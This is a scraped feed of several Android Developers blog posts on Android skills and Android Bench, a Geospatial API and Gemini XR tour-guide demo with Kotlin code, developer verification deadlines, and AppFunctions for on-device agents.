<p>Android skills ground LLMs in <strong>specialized workflows and domain knowledge,</strong> for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh <strong>new batch of skills,</strong> with now more than 17 skills for areas such as:</p><ul><li>Adaptive UI</li><li>Display Glasses and Jetpack Compose Glimmer for XR</li><li>Migration to CameraX</li><li>Perfetto SQL and Trace Analysis</li><li>Jetpack Compose Styles API</li><li>AppFunctions</li><li>Verified email retrieval with Android Credential Manager</li><li>Engage SDK integration</li><li>Testing setup</li><li>Wear OS Jetpack Compose Material3</li></ul><br><div class="separator"><img border="0" data-original-height="405" data-original-width="720" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOV9PePtO9nHxegfJn96Lsab3Z1fD7FEsjdQ9EQ2vzNOc9es2_S6h8twazy_ief9YVabhkOUWu7xJHr-hxINrva44O7QDpt3z96UtGXbvJYtAARj4tVWK3SPuFVr2in-MSdyCdpY5aOdqRbBjtw06-n365vZv8_Or8YCDrj6FQyoVl6xxKibEJF4Nh3io/s16000/2_android_skills_dev_keynote.gif"><i>Android skills keep growing</i></div><div class="separator"><i><br></i></div><div><div>You can browse skills and install using the Android CLI commands:</div><p></p>

<pre><div>android skills list</div><div>android skills add –skill=&lt;skill-name&gt;</div></pre>

<p>For more information, check out the <a href="https://developer.android.com/tools/agents/android-skills">official documentation.</a></p>

<h2>3. Android Bench adds new models</h2><p>Earlier this year, we launched <a href="https://developer.android.com/bench">Android Bench</a> - our leaderboard for <strong>testing LLMs on real-world Android development</strong> challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.</p><div class="separator"><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s2618/AndroidBenchLeaderboard.png"><img border="0" data-original-height="1488" data-original-width="2618" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s16000/AndroidBenchLeaderboard.png"></a></div><div><i>Latest results from Android Bench leaderboard</i></div>

<p>You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model <strong>Gemma 4</strong>, to the leaderboard. We also added the latest models including <strong>Gemini 3.5 Flash.</strong></p>

<p>We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the <a href="https://developer.android.com/bench">Android Bench leaderboard</a> to see the latest results.</p>

<h2>Android development anywhere</h2><p>By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re <strong>supporting Android developers wherever they choose to build.</strong></p>

<p>Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.</p><p>Check out the full <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-XnEzj1_CBClxpkGwYQeLy">Developer productivity at Google I/O 2026 YouTube playlist</a> for more information.</p></div></div></div>]]></content:encoded>
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<title><![CDATA[Building a Mixed-Reality Tour Guide with Android XR, the Geospatial API, and Gemini]]></title>
<description><![CDATA[Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XRAt this year's Google I/O, we announced an update for spatial experiences: the Geospatial API is now available as a preview in ARCore for Jetpack XR. By bringing Google's Visual Positioning Sy...]]></description>
<link>https://tsecurity.de/de/3693504/android-tipps/building-a-mixed-reality-tour-guide-with-android-xr-the-geospatial-api-and-gemini/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693504/android-tipps/building-a-mixed-reality-tour-guide-with-android-xr-the-geospatial-api-and-gemini/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:35 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKrortZT9X64_5gun79eaNo1niWelmj6Mixfrw4eBLKkec02_w-el6vVXR8IuyPA40B4lB22yEdCK5KNVOZ3DwG3sja7MJArx60irN7gP9P7rnzMjx8sejJeE6puifztBfMv_mExAuAjKkE3rjW1PRulfU0wTfIVLtmb9lEUW4L9hhFme1ArGmV09GuXM/s320/MM%20Android%20XR%20Geospatial%20V02_Meta%20(1).png"><div><i>Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XR</i></div><div><i><br></i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTa2M7znb9EjsONU5iM1tvB_KPswY-yT7pqYZ2gZmJGk9Z6WONXgDOsTj9vvTPD8a38-XvPm7HafuF1-nChC7dix2CQfnTpH6T-YdPhaL85A7rRugnlwwtPtwH-Z5WWSFVNYXCclOOL5DtNbNqRLX-ZJVAIrRDxYs8pgfWS0O0O2P_e-W6TjYH_RjnCuM/s8000/MM%20Android%20XR%20Geospatial%20V02_Blog.png"><img border="0" data-original-height="2442" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTa2M7znb9EjsONU5iM1tvB_KPswY-yT7pqYZ2gZmJGk9Z6WONXgDOsTj9vvTPD8a38-XvPm7HafuF1-nChC7dix2CQfnTpH6T-YdPhaL85A7rRugnlwwtPtwH-Z5WWSFVNYXCclOOL5DtNbNqRLX-ZJVAIrRDxYs8pgfWS0O0O2P_e-W6TjYH_RjnCuM/s16000/MM%20Android%20XR%20Geospatial%20V02_Blog.png"></a></div><br><div><br><br><i><br></i><div><i><br></i><p><a href="https://www.youtube.com/watch?v=1KOO2lqsdaA">At this year's Google I/O</a>, we announced an update for spatial experiences: the <a href="https://developer.android.com/reference/kotlin/androidx/xr/arcore/Geospatial">Geospatial API</a> is now available as a preview in <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk/arcore">ARCore for Jetpack XR</a>. By bringing Google's Visual Positioning System (VPS) to Android XR, Android XR enables anchoring digital content to the physical world with sub-meter accuracy and precise orientation in supported areas.* To explore what the Geospatial API could unlock, our team built a demo: the XR Geospatial Tour.</p>

<p>Imagine walking into a new city, putting on a pair of wired XR glasses (like the upcoming XREAL Project Aura), and instantly having a knowledgeable, local guide showing you around. You don't need to stare down at a 2D map—instead, 3D models gently guide your path, and an intelligent voice tells you about the historical landmarks right in front of you. We combined the <a href="https://developer.android.com/reference/kotlin/androidx/xr/arcore/Geospatial">Geospatial APIs</a>, <a href="https://firebase.google.com/docs/ai-logic">Gemini API using Firebase AI Logic</a>, <a href="https://ai.google.dev/gemini-api/docs/maps-grounding">Google Maps Grounding</a>, and <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk">Jetpack XR SDK</a> to create a hands-free, immersive walking tour experience.</p>

<div class="separator">
  
<p>*Disclaimer: Video and Tour Guide application are for demonstration purposes only. Some sequences have been shortened. Any hardware depicted may be under development; final product details may differ.</p>

<p>Let’s walk through the implementation details and show how we tied these APIs together to build a world-scale spatial experience.</p>

<h3>1. Pinpointing the User with ARCore Geospatial API (VPS)</h3>
<p>Enhance your navigation experience on XR by combining the power of GPS with the precision of VPS. The accuracy and precise orientation that comes with VPS allows 3D waypoints to align with the physical world.</p>

<p>This is why the Geospatial API on Android XR can help you build custom experiences. By using advanced computer vision, VPS tries to provide a <a href="https://developer.android.com/reference/kotlin/androidx/xr/runtime/math/GeospatialPose">GeospatialPose</a> (including latitude, longitude, and heading) that is more accurate than GPS.</p>

<p>Here's how we retrieve the user's Geospatial pose by mapping the device's orientation to a Geospatial coordinate:</p>
<pre><div>// Retrieve the current geospatial pose from the ARCore session</div><code><div>val result = geospatial.createGeospatialPoseFromPose(arDevice.state.value.devicePose)</div><div>if (result is CreateGeospatialPoseFromPoseSuccess) {</div><div>    val pose = result.pose</div><div>    Log.d("VPS", "Accurate Location: ${pose.latitude}, ${pose.longitude}")</div><div>}</div></code></pre>

<p>Because the entire experience relies on this accuracy, we monitor the horizontalAccuracy and orientationYawAccuracy until they meet our thresholds. If the user is indoors or in an unrecognized area, we prompt them to "walk to an outdoor public space and look around".</p>

<h3>2. Crafting the Itinerary with Gemini API &amp; Google Maps Grounding</h3>
<p>Once we have a location, we use the <a href="https://firebase.google.com/docs/ai-logic">Gemini API using Firebase AI Logic</a> to prompt the Gemini model to act as a local tour guide. We pass the user's coordinates to the model and ask it to output a structured JSON response containing nearby walking tours:</p>

<pre><div>   val configForTools = ToolConfig(</div><code><div>      functionCallingConfig = null,</div><div>      retrievalConfig = retrievalConfig {</div><div>        latLng = FirebaseLatLng(pose.latitude, pose.longitude)</div><div>        languageCode = "en"</div><div>      }</div><div>    )</div><div></div><div>    val responseJsonSchema = Schema.obj(</div><div>      mapOf(</div><div>        "locationIntro" to Schema.string(),</div><div>        "tours" to Schema.array(</div><div>          Schema.obj(</div><div>            mapOf(</div><div>              "title" to Schema.string(),</div><div>              "description" to Schema.string(),</div><div>              "stops" to Schema.array(</div><div>                Schema.obj(</div><div>                  mapOf(</div><div>                    "name" to Schema.string(),</div><div>                    "detailedName" to Schema.string(),</div><div>                    "description" to Schema.string()</div><div>                  )</div><div>                )</div><div>              )</div><div>            )</div><div>          )</div><div>        )</div><div>      )</div><div>    )</div><div></div><div>    val model = Firebase.ai(backend = GenerativeBackend.googleAI()).generativeModel(</div><div>      modelName = "gemini-3.5-flash",</div><div>      tools = listOf(Tool.googleMaps()),</div><div>      generationConfig = generationConfig {</div><div>        responseMimeType = "application/json"</div><div>        responseSchema = responseJsonSchema</div><div>      }</div><div>    )</div><div></div><div>   val result = model.generateContent("The user is at latitude ${pose.latitude} and longitude ${pose.longitude}. Generate exactly 3 diverse tours near this location (e.g., historical, food, nature). All tour ideas should be walking distance only.")</div></code></pre>

<p>Large Language Models are great at generating rich descriptions, but they can sometimes hallucinate exact latitude/longitude coordinates. To solve this, we used <a href="https://ai.google.dev/gemini-api/docs/maps-grounding">Google Maps Grounding</a> to ground the AI.</p>

<h3>3. A Voice to Guide You: Gemini 2.5 TTS</h3>
<p>To make the tour guide feel truly present, we implemented dynamic voiceovers.</p>

<p>Using the gemini-2.5-flash-tts model, we can configure our model generation config to natively return audio data instead of just text! Here’s how you can request the ResponseModality.AUDIO:</p>

<pre><div>val ttsModel = Firebase.ai(backend = GenerativeBackend.googleAI())</div><code><div>    .generativeModel(</div><div>        modelName = "gemini-2.5-flash-tts",</div><div>        generationConfig = generationConfig {</div><div>            // Instruct the model to return Audio</div><div>            responseModalities = listOf(ResponseModality.AUDIO)</div><div>        }</div><div>    )</div><div></div><div>val response = ttsModel.generateContent("Say in a neutral but positive voice:\n$prompt")</div><div></div><div>// Extract the raw audio bytes from the response</div><div>val audioBytes = response.candidates.firstOrNull()?.content?.parts</div><div>    ?.filterIsInstance&lt;InlineDataPart&gt;()</div><div>    ?.firstOrNull { it.mimeType.contains("audio") }?.inlineData</div></code></pre>

<h3>4. Bringing it to Life in 3D with Jetpack XR</h3>
<p>The final piece of the puzzle is rendering this data in the user's field of view. The Jetpack XR SDK makes it intuitive to transition from  a 2D Android UI to spatial computing.</p>

<p>We used Jetpack Compose for XR to build spatial components. To represent points of interest along the tour, we built a Composable called InfoSphere, which contains a GltfModel of a 3D orb that floats in space and can be interacted with to reveal information.</p>

<p>Using Jetpack XR SDK, we can place 3D models alongside the Compose UI using <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/SpatialBox.composable">SpatialBox</a> and <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/SceneCoreEntity.composable">SceneCoreEntity</a>. We also used <a href="https://developer.android.com/reference/androidx/xr/scenecore/InteractableComponent">InteractableComponent</a> to respond to user taps.</p>
<pre><div>@Composable</div><code><div>fun InfoSphere(</div><div>    content: InfoBubbleContent,</div><div>    session: Session,</div><div>    sphereModel: GltfModel,</div><div>    isSelected: Boolean,</div><div>    onClick: () -&gt; Unit</div><div>) {</div><div>    // SpatialBox lets us arrange 3D components and SpatialPanels together</div><div>    SpatialBox(</div><div>        SubspaceModifier</div><div>            .offset(x = 2.dp, y = 1.dp, z = (-3).dp) // Positioned in 3D space</div><div>    ) {</div><div>        // Smoothly animate the visibility of our 2D Compose UI Panel</div><div>        AnimatedSpatialVisibility(visible = isSelected) {</div><div>            SpatialPanel {</div><div>                InfoBubble(content) // Regular 2D Compose UI</div><div>            }</div><div>        }</div><div>        // Render our interactive 3D sphere</div><div>        SceneCoreEntity(</div><div>            factory = {</div><div>                GltfModelEntity.create(session, sphereModel).also { entity -&gt;</div><div>                    // Make the 3D model respond to user taps</div><div>                    entity.addComponent(InteractableComponent.create(session) { inputEvent -&gt;</div><div>                        if (inputEvent.action == InputEvent.Action.UP) {</div><div>                            onClick()</div><div>                        }</div><div>                    })</div><div>                }</div><div>            }</div><div>        )</div><div>    }</div><div>}</div></code></pre>

<p>By combining <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/animation/AnimatedSpatialVisibility.composable">AnimatedSpatialVisibility</a> for traditional Compose UI surfaces with SceneCoreEntity 3D elements, we're able to seamlessly blend data into the physical world.</p>

<h3>Explore what’s possible with Android XR today</h3>
<p>Building the XR Geospatial Tour app showed us that the barrier to entry for world-scale spatial experiences is lower than ever for Android developers. With the Geospatial API now available in preview on Android XR, your apps can seamlessly understand the physical world around them. By combining <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk/ui-compose">Compose for XR</a>’s APIs with the high-precision location data of VPS and the generative capabilities of Gemini, we can create experiences that understand both where the user is and what they are looking at.</p>

<p>To help you get hands-on with Android XR, we are thrilled to open applications for the <a href="https://developer.android.com/develop/xr/catalyst">Android XR Developer Catalyst Program</a>, which includes XREAL Project Aura. Starting today, you can apply to get access to an XREAL Project Aura devkit or our display glasses devkit over the coming months! </p>

<footer>
  <p>*Disclaimer: Available on select devices. Internet connection required. Works on compatible apps and surfaces. Results may vary.</p>
  <p><br></p>
</footer></div></div></div>]]></content:encoded>
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<title><![CDATA[Android developer verification: Building a safer ecosystem together]]></title>
<description><![CDATA[Posted by Matthew Forsythe, Director Product Management, Android App SafetyJuly 15, 2026: Updated Play Console requirements for Play developersTo meet Android developer verification and updated Play Console Requirements, Play developers must register their Play apps in Play Console. While 99% of ...]]></description>
<link>https://tsecurity.de/de/3693503/android-tipps/android-developer-verification-building-a-safer-ecosystem-together/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693503/android-tipps/android-developer-verification-building-a-safer-ecosystem-together/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:33 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2JeeSz9AeQDASycrf2ssGmJn2yQGvGFjyU29jKSs5hFtYySX9X5wDw4Pb63DF3co77osfiLeYj6LGt-_1v66X3svzCOdWAZz3w9Q2WKF28T4qZ4tCbiTEsP88lIZ44Ua6mLfg6VIQL_k3PVWlU4vDnJkTc9mJkdz188lH-smTL3oA47Yongl1w8sf4RY/s1235/260317_ADV%20Blog_Metadata.png"><div><i>Posted by Matthew Forsythe, Director Product Management, Android App Safety</i></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4_MWnkCTsO9zdnVQqFu2Aep5Q_GMvQvuXoGn-H_LXNpOYIVYFqbHi0R0iKpChOEJ-GB0p_7fLCiK_IGETshue4Fjd3tjyg95M3i92-DzdZpND5GPhr9jeBuj620YHAhPJ6CLdDXD8jsA1XyyYiBCS4p4eoZizZnA0DHKpwJqDUq-agwXl_GbtLrKdM5Y/s4210/260317_ADV%20Blog_Header.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4_MWnkCTsO9zdnVQqFu2Aep5Q_GMvQvuXoGn-H_LXNpOYIVYFqbHi0R0iKpChOEJ-GB0p_7fLCiK_IGETshue4Fjd3tjyg95M3i92-DzdZpND5GPhr9jeBuj620YHAhPJ6CLdDXD8jsA1XyyYiBCS4p4eoZizZnA0DHKpwJqDUq-agwXl_GbtLrKdM5Y/s16000/260317_ADV%20Blog_Header.png"></a></div><br><br><div><br></div><div><br></div><div><br></div><b>July 15, 2026: Updated Play Console requirements for Play developers</b><br><br><blockquote>To meet Android developer verification and <a href="https://support.google.com/googleplay/android-developer/answer/17125096">updated Play Console Requirements</a>, Play developers must <a href="https://support.google.com/googleplay/android-developer/answer/16984799">register their Play apps</a> in Play Console. While 99% of apps on Play have been registered automatically, you should check your <a href="https://play.google.com/console/u/0/developers/5700313618786177705/android-developer-verification">Play Console Home page</a> to register any remaining apps by September 30, 2026 to avoid global removal from Google Play and ensure a seamless user installation experience. </blockquote><br><blockquote>You can also use Play Console to register apps you distribute outside of Google Play to ensure they can be installed on certified Android devices.</blockquote><span><div><br></div></span><div>Last year, we introduced <a href="https://developer.android.com/developer-verification">Android developer verification</a> to strengthen ecosystem security and stop malicious actors from hiding behind anonymity to release harmful apps. Millions of apps have been registered since the verification launched in March, covering nearly all installs on Google Play and a large majority of installs from outside of Google Play. We appreciate the feedback and partnership from industry leaders, developers, and Android communities that helped us design this experience and drive strong adoption.<h2>Initial launch across seven stores and four countries</h2>

<p>These new developer verification protections will take effect on September 30, 2026, starting with users in Brazil, Indonesia, Singapore, and Thailand.</p>

<p>This rollout is an <b>industry-wide effort to create a safer ecosystem</b>. We will begin by verifying app installations from the following stores:</p>

<ul>
    <li>Google (Google Play)</li>
    <li>Honor (HONOR App Market)</li>
    <li>OPlus (OPPO App Market)</li>
    <li>Samsung (Galaxy Store)</li>
    <li>Transsion (Palm Store)</li>
    <li>vivo (V-Appstore)</li>
    <li>Xiaomi (GetApps)</li>
</ul>

<p>Following this initial phase with our partners, we will expand these protections globally for all apps on certified Android devices in 2027.</p><h2>Automate your workflow with new APIs</h2>

<p>To further streamline app registration, we are<b> launching a suite of developer-requested APIs</b> to help you register apps in bulk or directly through your continuous integration and deployment (CI/CD) pipelines. The Android Developer ID Status API will let you check if a package name has already been registered, and the Android Developer Console API will let you register and manage package names directly within your development environment. Both APIs also support OAuth delegation, allowing third-party platforms, like Android app stores, to perform these operations natively on your behalf.</p>

We'll launch these APIs over the next few months.<h2>What’s next</h2>

<p></p><ul><li><strong>June 2026:</strong> Starting this month, we are rolling out a new <a href="https://support.google.com/android/answer/17065026">system service</a> that will be automatically installed on most Android devices. This service will be used later this year to verify developer registration.</li><li><strong>July 2026:</strong> We’ll launch the Android Developer ID Status API globally and begin early access for the Android Developer Console API. Early access also starts for <a href="https://developer.android.com/developer-verification/guides/limited-distribution">limited distribution accounts</a> on Android Developer Console. This new type of Android developer account is designed for students, hobbyists, and learners and lets you share your apps to up to 20 devices without a government-issued ID or a fee.</li><li><strong>August 2026:</strong> Limited distribution accounts and the new Android Developer Console API will launch globally. We’ll also launch an <a href="https://android-developers.googleblog.com/2026/03/android-developer-verification.html">advanced flow</a> for installing apps from unverified developers, which includes security checkpoints to resist coercion scams, while allowing power users to maintain the ability to <a href="https://developer.android.com/developer-verification/guides/faq#sideload-apps">sideload apps</a> from unverified developers.</li><li><strong>September 30, 2026:</strong> App registration becomes required for <b>participating stores in Brazil, Indonesia, Singapore, and Thailand</b>. Unregistered apps can be sideloaded with Android Debug Bridge (adb) or advanced flow.</li><li><strong>2027 and beyond:</strong> After incorporating the feedback from our partners, users, and developer community, we’ll expand the Android verification requirement globally.<br></li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFUMAeS0ew75nme5xUK0qAQraK0-WpiUXp1B6m1yJFMqOrHUo7AyMMEfO-aYq9mZ6vy7GYPcBxRByKGQNgRbS99uW1b5hwbViEmIbGFVsLqhw7e-LSF_dozTAlKb7D1n_0Rc42S5MxzpxI5rrbSdDIQMVt6SXEErcnI-HrA0McFfL_BMoe2xMJtG9UU6I/s960/ABL_83_Blog%20in%20line%20asset%20-%20ADV%20July.png" imageanchor="1"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFUMAeS0ew75nme5xUK0qAQraK0-WpiUXp1B6m1yJFMqOrHUo7AyMMEfO-aYq9mZ6vy7GYPcBxRByKGQNgRbS99uW1b5hwbViEmIbGFVsLqhw7e-LSF_dozTAlKb7D1n_0Rc42S5MxzpxI5rrbSdDIQMVt6SXEErcnI-HrA0McFfL_BMoe2xMJtG9UU6I/s1600/ABL_83_Blog%20in%20line%20asset%20-%20ADV%20July.png"></a></div><br><div><br></div><h2>Get started with Android developer verification</h2>

<p>If you distribute apps in Brazil, Indonesia, Singapore, or Thailand via the stores listed above, please ensure your verification is complete by the September deadline.</p>

<p></p><ul><li><strong>Google Play developers:</strong> Most Play developers are already verified, and over 99% of their apps have been registered. Go to your <a href="https://play.google.com/console/developers/app-list">Play Console Home page</a> to see your app’s verification status, and <a href="https://support.google.com/googleplay/android-developer/answer/16984799">register apps</a> you want to continue distributing that weren't automatically registered.</li><li><strong>Developers who distribute only outside of Google Play:</strong> Sign up for the <a href="https://android.google.com/developerconsole/developers">Android Developer Console</a> today to register your apps.</li></ul><p></p>



<p></p><ul><ul><li><strong>Students and hobbyists:</strong> Sign up <a href="https://google.qualtrics.com/jfe/form/SV_4N7NGE06NjJJdl4">here</a> for early access to limited distribution accounts to help us refine the feature with your feedback.</li></ul></ul><p></p>

Thank you for helping us build a safer Android ecosystem. Stay tuned for more updates as we approach September and the 2027 global rollout.</div>]]></content:encoded>
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<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

<div class="vertical-video-grid">
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<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

